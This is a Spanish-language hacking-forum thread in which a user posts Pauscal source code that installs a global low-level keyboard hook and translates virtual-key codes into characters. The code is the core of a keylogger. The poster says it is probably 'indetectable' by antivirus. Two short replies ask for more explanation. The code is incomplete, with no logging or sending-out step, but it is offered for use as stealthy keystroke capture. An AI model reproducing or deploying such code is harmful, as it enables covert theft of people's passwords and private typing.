[Pauscal] Hookear teclado

  • 2 Respuestas
  • 3127 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Yuki

  • *
  • Underc0der
  • Mensajes: 66
  • Actividad:
    0%
  • Reputación 5
    • Ver Perfil

[Pauscal] Hookear teclado

  • en: Febrero 28, 2015, 12:24:17 pm
Bueno, les dejo este código que permite obtener las pulsaciones del teclado, para mas información, Google!
Espero que le saquen provecho, supongo que estará indetectable, saludos!

Código: [Seleccionar]
' Estructuras

Estruc POINTAPI _
,x:Entero _
,y:Entero

Estruc MSG _
,hwnd:Entero _
,message:Entero _
,wParam:Entero _
,lParam:Entero _
,time:Entero _
,pt:POINTAPI

Estruc KBDLLHOOKSTRUCT,_ ' Estructura que recibe los datos.
VkCode,_ ' Código del boton presionado.
ScanCode,_ ' ?
Flags,_ ' Esto establece en 0 si la tecla es presionada, 1 si es soltada.
Time,_ ' Tiempo en el que se presiona y suelta la tecla, en ms.
DwExtraInfo:Entero ' ?

' Apis requeridas.
Proc GetMessage(Referencia:MSG,,,:Entero):Entero,"user32" "GetMessageA"
Proc TranslateMessage(Referencia:MSG):Entero,"user32"
Proc DispatchMessage(Referencia:MSG):Entero,"user32" "DispatchMessageA"
Proc CallNextHookEx(hHook,nCode,wParam:Entero,Referencia lParam:Entero):Entero,"User32.dll"
Proc SetWindowsHookEx(idHook,lpfn,hmod,dwThreadId:Entero):Entero,"User32.dll" "SetWindowsHookExA"
Proc UnhookWindowsHookEx(hHook:Entero):Entero,"User32.dll"
Proc GetModuleHandle(Referencia:Cadena):Entero,"kernel32" "GetModuleHandleA"

Var HookPtr:Entero

' Este procedimiento escanea el valor devuelto por el procedimiento "KeyboardHook" y lo _
' convierte en el caracter correspondiente.
Proc TeclasTraducir(i:Entero):Cadena
   Seleccionar i
      Caso 13  ; Devolver "[ENTER]"
      Caso 81  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Q":"q"
      Caso 87  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"W":"w"
      Caso 69  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"E":"e"
      Caso 82  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"R":"r"
      Caso 84  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"T":"t"
      Caso 89  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Y":"y"
      Caso 85  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"U":"u"
      Caso 73  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"I":"i"
      Caso 79  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"O":"o"
      Caso 80  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"P":"p"
      Caso 65  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"A":"a"
      Caso 83  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"S":"s"
      Caso 68  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"D":"d"
      Caso 70  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"F":"f"
      Caso 71  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"G":"g"
      Caso 72  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"H":"h"
      Caso 74  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"J":"j"
      Caso 75  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"K":"k"
      Caso 76  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"L":"l"
      Caso 192 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Ñ":"ñ"
      Caso 90  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Z":"z"
      Caso 88  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"X":"x"
      Caso 67  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"C":"c"
      Caso 86  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"V":"v"
      Caso 66  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"B":"b"
      Caso 78  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"N":"n"
      Caso 77  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"M":"m"
      Caso 112 ; Devolver "[F1]"
      Caso 113 ; Devolver "[F2]"
      Caso 114 ; Devolver "[F3]"
      Caso 115 ; Devolver "[F4]"
      Caso 116 ; Devolver "[F5]"
      Caso 117 ; Devolver "[F6]"
      Caso 118 ; Devolver "[F7]"
      Caso 119 ; Devolver "[F8]"
      Caso 120 ; Devolver "[F9]"
      Caso 121 ; Devolver "[F10]"
      Caso 122 ; Devolver "[F11]"
      Caso 123 ; Devolver "[F12]"
      Caso 49  ; Devolver >GetAsyncKeyState(160)?"!":"1"
      Caso 50  ; Devolver >GetAsyncKeyState(160)?#34:"2"
      Caso 51  ; Devolver >GetAsyncKeyState(160)?"·":"3"
      Caso 52  ; Devolver >GetAsyncKeyState(160)?"$":"4"
      Caso 53  ; Devolver >GetAsyncKeyState(160)?"%":"5"
      Caso 54  ; Devolver >GetAsyncKeyState(160)?"&":"6"
      Caso 55  ; Devolver >GetAsyncKeyState(160)?"/":"7"
      Caso 56  ; Devolver >GetAsyncKeyState(160)?"(":"8"
      Caso 57  ; Devolver >GetAsyncKeyState(160)?")":"9"
      Caso 48  ; Devolver >GetAsyncKeyState(160)?"=":"0"
      Caso 9   ; Devolver "[TAB]"
      Caso 8   ; Devolver "[BORRAR]"
      Caso 220 ; Devolver >GetAsyncKeyState(160)?"ª":"º"
      Caso 96  ; Devolver "0"
      Caso 97  ; Devolver "1"
      Caso 98  ; Devolver "2"
      Caso 99  ; Devolver "3"
      Caso 100 ; Devolver "4"
      Caso 101 ; Devolver "5"
      Caso 102 ; Devolver "6"
      Caso 103 ; Devolver "7"
      Caso 104 ; Devolver "8"
      Caso 105 ; Devolver "9"
      Caso 27  ; Devolver "[ESCAPE]"
      Caso 2096852,32 ; Devolver " "
   FinSeleccionar
FinProc

Proc KeyboardHook(nCode:Entero,wParam:Word,lParam:Entero):Entero
   Si [email protected] = 0 Entonces [email protected] = lParam ' CopyMemory([email protected],lParam,Long(HookEstruc))
      Si nCode = 0 Entonces
         Si (HookEstruc.Flags = 0) Entonces ' Si la tecla es precionada (no soltada)
            ' Acciones!
            ' EJEMPLO ___________________________
            'Seleccionar TeclasTraducir(HookEstruc.VkCode)
            '   Caso "A"
            '   Caso "B"
            '   Caso "[ENTER]"
            'FinSeleccionar
         FinSi
      SiNo
         HookPtr = CallNextHookEx(0,HookPtr, wParam, lParam) ' Next
      FinSi
FinProc

Var @HookEstruc:KBDLLHOOKSTRUCT
Var Msg:MSG

' Establece el hook en el teclado.
HookPtr = SetWindowsHookEx(13, [email protected], GetModuleHandle(""), 0)

' Sondeamos los mensajes del sistema.
Mientras GetMessage(Msg,0,0,0) = Verd
   TranslateMessage(Msg)
   DispatchMessage(Msg)
FinMientras

' Liberamos el hook.
UnhookWindowsHookEx(HookPtr)
« Última modificación: Julio 02, 2015, 11:55:34 pm por facufangio »

Desconectado Alvares97

  • *
  • Underc0der
  • Mensajes: 67
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:[Pauscal] Hookear teclado

  • en: Julio 02, 2015, 10:38:43 pm
Por el titulo pense que ibas a explicar un poco de teoria

Desconectado Ruleman

  • *
  • Ex-Staff
  • *****
  • Mensajes: 210
  • Actividad:
    0%
  • Country: 00
  • Reputación 5
  • ex facufangio
    • Ver Perfil

Re:[Pauscal] Hookear teclado

  • en: Julio 03, 2015, 12:03:08 am
Podrías dar un poco mas de información acerca del funcionamiento ya que no se encuentra muy claro que deseas hacer, además si vas a poner mas información en "Google", no lo hubieras posteado ya que como dices puedo abrir el navegador y buscar quedando este post sin visitas e incompleto.


Gracias y por favor pon más información.

Saludos.

 

 

[Pauscal] Funciones indocumentada de MSVBVM60

Iniciado por Yuki

Respuestas: 0
Vistas: 2249
Último mensaje Diciembre 01, 2015, 06:19:57 am
por Yuki